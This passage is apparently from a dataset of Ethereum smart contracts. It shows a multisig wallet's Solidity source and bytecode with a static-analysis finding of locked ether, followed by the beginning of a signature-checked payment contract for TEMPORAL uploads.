if (owners[i] == owner) {
owners[i] = newOwner;
break;
}
}
isOwner[owner] = false;
isOwner[newOwner] = true;
emit OwnerRemoval(owner);
emit OwnerAddition(newOwner);
}
/// @dev Allows to change the number of required confirmations. Transaction has to be sent by wallet.
/// @param _required Number of required confirmations.
function changeRequirement(uint256 _required) public onlyWallet validRequirement(owners.length, _required) {
required = _required;
emit RequirementChange(_required);
}
/// @dev Allows an owner to submit and confirm a transaction.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return Returns transaction ID.
function submitTransaction(address destination, uint256 value, bytes memory data) public returns (uint256 transactionId) {
transactionId = addTransaction(destination, value, data);
confirmTransaction(transactionId);
}
/// @dev Allows an owner to confirm a transaction.
/// @param transactionId Transaction ID.
function confirmTransaction(uint256 transactionId) public
ownerExists(msg.sender)
transactionExists(transactionId)
notConfirmed(transactionId, msg.sender)
{
confirmations[transactionId][msg.sender] = true;
emit Confirmation(msg.sender, transactionId);
executeTransaction(transactionId);
}
/// @dev Allows an owner to revoke a confirmation for a transaction.
/// @param transactionId Transaction ID.
function revokeConfirmation(uint256 transactionId) public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
confirmations[transactionId][msg.sender] = false;
emit Revocation(msg.sender, transactionId);
}
/// @dev Allows anyone to execute a confirmed transaction.
/// @param transactionId Transaction ID.
function executeTransaction(uint256 transactionId) public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
if (isConfirmed(transactionId)) {
Transaction storage txn = transactions[transactionId];
txn.executed = true;
if (external_call(txn.destination, txn.value, txn.data.length, txn.data))
emit Execution(transactionId);
else {
emit ExecutionFailure(transactionId);
txn.executed = false;
}
}
}
// call has been separated into its own function in order to take advantage
// of the Solidity's code generator to produce a loop that copies tx.data into memory.
function external_call(address destination, uint256 value, uint256 dataLength, bytes memory data) internal returns (bool) {
bool result;
assembly {
let x := mload(0x40) // "Allocate" memory for output (0x40 is where "free memory" pointer is stored by convention)
let d := add(data, 32) // First 32 bytes are the padded length of data, so exclude that
result := call(
sub(gas, 34710), // 34710 is the value that solidity is currently emitting
// It includes callGas (700) + callVeryLow (3, to pay for SUB) + callValueTransferGas (9000) +
// callNewAccountGas (25000, in case the destination address does not exist and needs creating)
destination,
value,
d,
dataLength, // Size of the input (in bytes) - this is what fixes the padding problem
x,
0 // Output is ignored, therefore the output size is zero
)
}
return result;
}
/// @dev Returns the confirmation status of a transaction.
/// @param transactionId Transaction ID.
/// @return Confirmation status.
function isConfirmed(uint256 transactionId) public view returns (bool) {
uint256 count = 0;
for (uint256 i = 0; i < owners.length; i++) {
if (confirmations[transactionId][owners[i]])
count += 1;
if (count == required)
return true;
}
}
/*
* Internal functions
*/
/// @dev Adds a new transaction to the transaction mapping, if transaction does not exist yet.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return Returns transaction ID.
function addTransaction(address destination, uint256 value, bytes memory data) internal
notNull(destination) returns (uint256 transactionId) {
transactionId = transactionCount;
transactions[transactionId] = Transaction({
destination: destination,
value: value,
data: data,
executed: false,
timestamp: now
});
transactionCount += 1;
emit Submission(transactionId);
}
/*
* Web3 call functions
*/
/// @dev Returns number of confirmations of a transaction.
/// @param transactionId Transaction ID.
/// @return Number of confirmations.
function getConfirmationCount(uint256 transactionId) public view returns (uint256 count) {
for (uint256 i = 0; i < owners.length; i++) {
if (confirmations[transactionId][owners[i]]) count += 1;
}
}
/// @dev Returns total number of transactions after filers are applied.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return Total number of transactions after filters are applied.
function getTransactionCount(bool pending, bool executed) public view returns (uint256 count) {
for (uint256 i = 0; i < transactionCount; i++) {
if ( pending && !transactions[i].executed || executed && transactions[i].executed)
count += 1;
}
}
/// @dev Returns list of owners.
/// @return List of owner addresses.
function getOwners() public view returns (address[] memory) {
return owners;
}
/// @dev Returns array with owner addresses, which confirmed transaction.
/// @param transactionId Transaction ID.
/// @return Returns array of owner addresses.
function getConfirmations(uint256 transactionId) public view returns (address[] memory _confirmations) {
address[] memory confirmationsTemp = new address[](owners.length);
uint256 count = 0;
uint256 i;
for (i = 0; i < owners.length; i++) {
if (confirmations[transactionId][owners[i]]) {
confirmationsTemp[count] = owners[i];
count += 1;
}
}
_confirmations = new address[](count);
for (i = 0; i < count; i++) {
_confirmations[i] = confirmationsTemp[i];
}
}
/// @dev Returns list of transaction IDs in defined range.
/// @param from Index start position of transaction array.
/// @param to Index end position of transaction array.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return Returns array of transaction IDs.
function getTransactionIds(uint256 from, uint256 to, bool pending, bool executed) public view returns (uint256[] memory _transactionIds) {
uint256[] memory transactionIdsTemp = new uint256[](transactionCount);
uint256 count = 0;
uint256 i;
for (i = 0; i < transactionCount; i++)
if ( pending && !transactions[i].executed || executed && transactions[i].executed) {
transactionIdsTemp[count] = i;
count += 1;
}
_transactionIds = new uint256[](to - from);
for (i = from; i < to; i++){
_transactionIds[i - from] = transactionIdsTemp[i];
}
}
function getTransaction(uint256 transactionId) public view returns (bytes memory, address, bool, uint256) {
Transaction memory txn = transactions[transactionId];
return (
txn.data,
txn.destination,
txn.executed,
txn.timestamp
);
}
}
|
0x6080604052600436106101355760003560e01c8063a0e67e2b116100ab578063c01a8c841161006f578063c01a8c84146108cf578063c64274741461090a578063d74f8edd14610a10578063dc8452cd14610a3b578063e20056e614610a66578063ee22610b14610ad757610135565b8063a0e67e2b146106bb578063a8abe69a14610727578063b5dc40c3146107d9578063b77bf60014610869578063ba51a6df1461089457610135565b80633411c81c116100fd5780633411c81c146103f8578063547415251461046b5780637065cb48146104c8578063784547a7146105195780638b51d13f1461056c5780639ace38c2146105bb57610135565b8063025e7c271461018f578063173825d91461020a57806320ea8d861461025b5780632f54bf6e1461029657806333ea3dc8146102ff575b600034111561018d573373ffffffffffffffffffffffffffffffffffffffff167fe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c346040518082815260200191505060405180910390a25b005b34801561019b57600080fd5b506101c8600480360360208110156101b257600080fd5b8101908080359060200190929190505050610b12565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561021657600080fd5b506102596004803603602081101561022d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b4e565b005b34801561026757600080fd5b506102946004803603602081101561027e57600080fd5b8101908080359060200190929190505050610eae565b005b3480156102a257600080fd5b506102e5600480360360208110156102b957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061118b565b604051808215151515815260200191505060405180910390f35b34801561030b57600080fd5b506103386004803603602081101561032257600080fd5b81019080803590602001909291905050506111ab565b60405180806020018573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200184151515158152602001838152602001828103825286818151815260200191508051906020019080838360005b838110156103ba57808201518184015260208101905061039f565b50505050905090810190601f1680156103e75780820380516001836020036101000a031916815260200191505b509550505050505060405180910390f35b34801561040457600080fd5b506104516004803603604081101561041b57600080fd5b8101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611327565b604051808215151515815260200191505060405180910390f35b34801561047757600080fd5b506104b26004803603604081101561048e57600080fd5b81019080803515159060200190929190803515159060200190929190505050611356565b6040518082815260200191505060405180910390f35b3480156104d457600080fd5b50610517600480360360208110156104eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506113e8565b005b34801561052557600080fd5b506105526004803603602081101561053c57600080fd5b810190808035906020019092919050505061179f565b604051808215151515815260200191505060405180910390f35b34801561057857600080fd5b506105a56004803603602081101561058f57600080fd5b8101908080359060200190929190505050611884565b6040518082815260200191505060405180910390f35b3480156105c757600080fd5b506105f4600480360360208110156105de57600080fd5b810190808035906020019092919050505061194d565b604051808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018581526020018060200184151515158152602001838152602001828103825285818151815260200191508051906020019080838360005b8381101561067c578082015181840152602081019050610661565b50505050905090810190601f1680156106a95780820380516001836020036101000a031916815260200191505b50965050505050505060405180910390f35b3480156106c757600080fd5b506106d0611a48565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156107135780820151818401526020810190506106f8565b505050509050019250505060405180910390f35b34801561073357600080fd5b506107826004803603608081101561074a57600080fd5b810190808035906020019092919080359060200190929190803515159060200190929190803515159060200190929190505050611ad6565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156107c55780820151818401526020810190506107aa565b505050509050019250505060405180910390f35b3480156107e557600080fd5b50610812600480360360208110156107fc57600080fd5b8101908080359060200190929190505050611c3a565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b8381101561085557808201518184015260208101905061083a565b505050509050019250505060405180910390f35b34801561087557600080fd5b5061087e611e66565b6040518082815260200191505060405180910390f35b3480156108a057600080fd5b506108cd600480360360208110156108b757600080fd5b8101908080359060200190929190505050611e6c565b005b3480156108db57600080fd5b50610908600480360360208110156108f257600080fd5b8101908080359060200190929190505050611ff4565b005b34801561091657600080fd5b506109fa6004803603606081101561092d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291908035906020019064010000000081111561097457600080fd5b82018360208201111561098657600080fd5b803590602001918460018302840111640100000000831117156109a857600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f82011690508083019250505050505050919291929050505061231c565b6040518082815260200191505060405180910390f35b348015610a1c57600080fd5b50610a2561233b565b6040518082815260200191505060405180910390f35b348015610a4757600080fd5b50610a50612340565b6040518082815260200191505060405180910390f35b348015610a7257600080fd5b50610ad560048036036040811015610a8957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612346565b005b348015610ae357600080fd5b50610b1060048036036020811015610afa57600080fd5b810190808035906020019092919050505061278b565b005b60038181548110610b1f57fe5b906000526020600020016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610bef576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f4f6e6c792077616c6c657400000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16610caf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260158152602001807f4f776e657220646f6573206e6f7420657869737473000000000000000000000081525060200191505060405180910390fd5b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060008090505b600160038054905003811015610e2f578273ffffffffffffffffffffffffffffffffffffffff1660038281548110610d4157fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415610e2257600360016003805490500381548110610d9d57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660038281548110610dd557fe5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610e2f565b8080600101915050610d0d565b506001600381818054905003915081610e489190612d6d565b506003805490506004541115610e6757610e66600380549050611e6c565b5b8173ffffffffffffffffffffffffffffffffffffffff167f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9060405160405180910390a25050565b33600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16610f6e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260158152602001807f4f776e657220646f6573206e6f7420657869737473000000000000000000000081525060200191505060405180910390fd5b81336001600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611040576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600d8152602001807f6e6f7420636f6e6669726d65640000000000000000000000000000000000000081525060200191505060405180910390fd5b8360008082815260200190815260200160002060030160009054906101000a900460ff16156110d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f747820616c72656164792065786563757465640000000000000000000000000081525060200191505060405180910390fd5b60006001600087815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550843373ffffffffffffffffffffffffffffffffffffffff167ff6a317157440607f36269043eb55f1287a5a19ba2216afeab88cd46cbcfb88e960405160405180910390a35050505050565b60026020528060005260406000206000915054906101000a900460ff1681565b606060008060006111ba612d99565b6000808781526020019081526020016000206040518060a00160405290816000820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200160018201548152602001600282018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156112d05780601f106112a5576101008083540402835291602001916112d0565b820191906000526020600020905b8154815290600101906020018083116112b357829003601f168201915b505050505081526020016003820160009054906101000a900460ff16151515158152602001600482015481525050905080604001518160000151826060015183608001518393509450945094509450509193509193565b60016020528160005260406000206020528060005260406000206000915091509054906101000a900460ff1681565b600080600090505b6005548110156113e157838015611395575060008082815260200190815260200160002060030160009054906101000a900460ff16155b806113c857508280156113c7575060008082815260200190815260200160002060030160009054906101000a900460ff165b5b156113d4576001820191505b808060010191505061135e565b5092915050565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611489576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f4f6e6c792077616c6c657400000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561154a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600c8152602001807f4f776e657220657869737473000000000000000000000000000000000000000081525060200191505060405180910390fd5b81600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156115ee576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600f8152602001807f61646472657373206973206e756c6c000000000000000000000000000000000081525060200191505060405180910390fd5b6001600380549050016004546032821115801561160b5750818111155b8015611618575060008114155b8015611625575060008214155b611697576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f696e76616c696420726571756972656d656e740000000000000000000000000081525060200191505060405180910390fd5b6001600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060038590806001815401808255809150509060018203906000526020600020016000909192909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550508473ffffffffffffffffffffffffffffffffffffffff167ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d60405160405180910390a25050505050565b6000806000905060008090505b60038054905081101561187c57600160008581526020019081526020016000206000600383815481106117db57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561185a576001820191505b60045482141561186f5760019250505061187f565b80806001019150506117ac565b50505b919050565b600080600090505b60038054905081101561194757600160008481526020019081526020016000206000600383815481106118bb57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561193a576001820191505b808060010191505061188c565b50919050565b60006020528060005260406000206000915090508060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690806001015490806002018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015611a255780601f106119fa57610100808354040283529160200191611a25565b820191906000526020600020905b815481529060010190602001808311611a0857829003601f168201915b5050505050908060030160009054906101000a900460ff16908060040154905085565b60606003805480602002602001604051908101604052809291908181526020018280548015611acc57602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019060010190808311611a82575b5050505050905090565b606080600554604051908082528060200260200182016040528015611b0a5781602001602082028038833980820191505090505b509050600080905060008090505b600554811015611bb457858015611b4f575060008082815260200190815260200160002060030160009054906101000a900460ff16155b80611b825750848015611b81575060008082815260200190815260200160002060030160009054906101000a900460ff165b5b15611ba75780838381518110611b9457fe5b6020026020010181815250506001820191505b8080600101915050611b18565b878703604051908082528060200260200182016040528015611be55781602001602082028038833980820191505090505b5093508790505b86811015611c2f57828181518110611c0057fe5b60200260200101518489830381518110611c1657fe5b6020026020010181815250508080600101915050611bec565b505050949350505050565b606080600380549050604051908082528060200260200182016040528015611c715781602001602082028038833980820191505090505b509050600080905060008090505b600380549050811015611db85760016000868152602001908152602001600020600060038381548110611cae57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611dab5760038181548110611d3357fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16838381518110611d6a57fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506001820191505b8080600101915050611c7f565b81604051908082528060200260200182016040528015611de75781602001602082028038833980820191505090505b509350600090505b81811015611e5e57828181518110611e0357fe5b6020026020010151848281518110611e1757fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250508080600101915050611def565b505050919050565b60055481565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611f0d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f4f6e6c792077616c6c657400000000000000000000000000000000000000000081525060200191505060405180910390fd5b6003805490508160328211158015611f255750818111155b8015611f32575060008114155b8015611f3f575060008214155b611fb1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f696e76616c696420726571756972656d656e740000000000000000000000000081525060200191505060405180910390fd5b826004819055507fa3f1ee9126a074d9326c682f561767f710e927faa811f7a99829d49dc421797a836040518082815260200191505060405180910390a1505050565b33600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166120b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260158152602001807f4f776e657220646f6573206e6f7420657869737473000000000000000000000081525060200191505060405180910390fd5b81600073ffffffffffffffffffffffffffffffffffffffff1660008083815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141561218d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f547820646f65736e27742065786973740000000000000000000000000000000081525060200191505060405180910390fd5b82336001600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615612260576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f697320616c726561647920636f6e6669726d656400000000000000000000000081525060200191505060405180910390fd5b600180600087815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550843373ffffffffffffffffffffffffffffffffffffffff167f4a504a94899432a9846e1aa406dceb1bcfd538bb839071d49d1e5e23f5be30ef60405160405180910390a36123158561278b565b5050505050565b6000612329848484612b68565b905061233481611ff4565b9392505050565b603281565b60045481565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146123e7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f4f6e6c792077616c6c657400000000000000000000000000000000000000000081525060200191505060405180910390fd5b81600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166124a7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260158152602001807f4f776e657220646f6573206e6f7420657869737473000000000000000000000081525060200191505060405180910390fd5b81600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615612568576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600c8152602001807f4f776e657220657869737473000000000000000000000000000000000000000081525060200191505060405180910390fd5b60008090505b60038054905081101561264e578473ffffffffffffffffffffffffffffffffffffffff166003828154811061259f57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156126415783600382815481106125f457fe5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061264e565b808060010191505061256e565b506000600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508373ffffffffffffffffffffffffffffffffffffffff167f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9060405160405180910390a28273ffffffffffffffffffffffffffffffffffffffff167ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d60405160405180910390a250505050565b33600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661284b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260158152602001807f4f776e657220646f6573206e6f7420657869737473000000000000000000000081525060200191505060405180910390fd5b81336001600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661291d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600d8152602001807f6e6f7420636f6e6669726d65640000000000000000000000000000000000000081525060200191505060405180910390fd5b8360008082815260200190815260200160002060030160009054906101000a900460ff16156129b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f747820616c72656164792065786563757465640000000000000000000000000081525060200191505060405180910390fd5b6129bd8561179f565b15612b61576000806000878152602001908152602001600020905060018160030160006101000a81548160ff021916908315150217905550612add8160000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16826001015483600201805460018160011615610100020316600290049050846002018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015612ad35780601f10612aa857610100808354040283529160200191612ad3565b820191906000526020600020905b815481529060010190602001808311612ab657829003601f168201915b5050505050612d46565b15612b1457857f33e13ecb54c3076d8e8bb8c2881800a4d972b792045ffae98fdf46df365fed7560405160405180910390a2612b5f565b857f526441bb6c1aba3c9a4a6ca1d6545da9c2333c8c48343ef398eb858d72b7923660405160405180910390a260008160030160006101000a81548160ff0219169083151502179055505b505b5050505050565b600083600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415612c0e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600f8152602001807f61646472657373206973206e756c6c000000000000000000000000000000000081525060200191505060405180910390fd5b60055491506040518060a001604052808673ffffffffffffffffffffffffffffffffffffffff1681526020018581526020018481526020016000151581526020014281525060008084815260200190815260200160002060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550602082015181600101556040820151816002019080519060200190612cd2929190612de0565b5060608201518160030160006101000a81548160ff021916908315150217905550608082015181600401559050506001600560008282540192505081905550817fc0ba8fe4b176c1714197d43b9cc6bcf797a4a7461c5fe8d0ef6e184ae7601e5160405160405180910390a2509392505050565b6000806040516020840160008287838a8c6187965a03f19250505080915050949350505050565b815481835581811115612d9457818360005260206000209182019101612d939190612e60565b5b505050565b6040518060a00160405280600073ffffffffffffffffffffffffffffffffffffffff1681526020016000815260200160608152602001600015158152602001600081525090565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10612e2157805160ff1916838001178555612e4f565b82800160010185558215612e4f579182015b82811115612e4e578251825591602001919060010190612e33565b5b509050612e5c9190612e60565b5090565b612e8291905b80821115612e7e576000816000905550600101612e66565b5090565b9056fea265627a7a72315820b52127f8e699932f1c066406f33fb4e3c34df97f857650721c84d77befe0513e64736f6c63430005110032
|
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
| 2,411 |
0x00c8162c86a977edc10c641636bdff1c59327983
|
pragma solidity 0.4.24;
pragma experimental "v0.5.0";
interface RTCoinInterface {
/** Functions - ERC20 */
function transfer(address _recipient, uint256 _amount) external returns (bool);
function transferFrom(address _owner, address _recipient, uint256 _amount) external returns (bool);
function approve(address _spender, uint256 _amount) external returns (bool approved);
/** Getters - ERC20 */
function totalSupply() external view returns (uint256);
function balanceOf(address _holder) external view returns (uint256);
function allowance(address _owner, address _spender) external view returns (uint256);
/** Getters - Custom */
function mint(address _recipient, uint256 _amount) external returns (bool);
function stakeContractAddress() external view returns (address);
function mergedMinerValidatorAddress() external view returns (address);
/** Functions - Custom */
function freezeTransfers() external returns (bool);
function thawTransfers() external returns (bool);
}
library SafeMath {
// We use `pure` bbecause it promises that the value for the function depends ONLY
// on the function arguments
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
require(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
}
/// @title TEMPORAL Payment Contract
/// @author Postables, RTrade Technologies Ltd
/// @dev We able V5 for safety features, see https://solidity.readthedocs.io/en/v0.4.24/security-considerations.html#take-warnings-seriously
contract Payments {
using SafeMath for uint256;
// we mark as constant private to save gas
bytes constant private PREFIX = "\x19Ethereum Signed Message:\n32";
// these addresses will need to be changed before deployment, and validated after deployment
// we hardcode them for security reasons to avoid any possible risk of compromised accounts being able to change anything on this contract.
// in the event that one of the addresses is compromised, the contract will be self destructed
address constant private SIGNER = 0xa80cD01dD37c29116549AA879c44C824b703828A;
address constant private TOKENADDRESS = 0xecc043b92834c1ebDE65F2181B59597a6588D616;
address constant private HOTWALLET = 0x3eC6481365c2c2b37d7b939B5854BFB7e5e83C10;
RTCoinInterface constant private RTI = RTCoinInterface(TOKENADDRESS);
string constant public VERSION = "production";
address public admin;
// PaymentState will keep track of the state of a payment, nil means we havent seen th payment before
enum PaymentState{ nil, paid }
// How payments can be made, RTC or eth
enum PaymentMethod{ RTC, ETH }
struct PaymentStruct {
uint256 paymentNumber;
uint256 chargeAmountInWei;
PaymentMethod method;
PaymentState state;
}
mapping (address => uint256) public numPayments;
mapping (address => mapping(uint256 => PaymentStruct)) public payments;
event PaymentMade(address _payer, uint256 _paymentNumber, uint8 _paymentMethod, uint256 _paymentAmount);
modifier validPayment(uint256 _paymentNumber) {
require(payments[msg.sender][_paymentNumber].state == PaymentState.nil, "payment already made");
_;
}
modifier onlyAdmin() {
require(msg.sender == admin, "sender must be admin");
_;
}
constructor() public {
admin = msg.sender;
}
/** @notice Used to submit a payment for TEMPORAL uploads
* @dev Can use ERC191 or non ERC191 signed messages
* @param _h This is the message hash that has been signed
* @param _v This is pulled from the signature
* @param _r This is pulled from the signature
* @param _s This is pulled from the signature
* @param _paymentNumber This is the current payments number (how many payments the user has submitted)
* @param _paymentMethod This is the payment method (RTC, ETH) being used
* @param _chargeAmountInWei This is how much the user is to be charged
* @param _prefixed This indicates whether or not the signature was generated using ERC191 standards
*/
function makePayment(
bytes32 _h,
uint8 _v,
bytes32 _r,
bytes32 _s,
uint256 _paymentNumber,
uint8 _paymentMethod,
uint256 _chargeAmountInWei,
bool _prefixed) // this allows us to sign messages on our own, without prefix https://github.com/ethereum/EIPs/issues/191
public
payable
validPayment(_paymentNumber)
returns (bool)
{
require(_paymentMethod == 0 || _paymentMethod == 1, "invalid payment method");
bytes32 image;
if (_prefixed) {
bytes32 preimage = generatePreimage(_paymentNumber, _chargeAmountInWei, _paymentMethod);
image = generatePrefixedPreimage(preimage);
} else {
image = generatePreimage(_paymentNumber, _chargeAmountInWei, _paymentMethod);
}
// ensure that the preimages construct properly
require(image == _h, "reconstructed preimage does not match");
address signer = ecrecover(_h, _v, _r, _s);
// ensure that we actually signed this message
require(signer == SIGNER, "recovered signer does not match");
PaymentStruct memory ps = PaymentStruct({
paymentNumber: _paymentNumber,
chargeAmountInWei: _chargeAmountInWei,
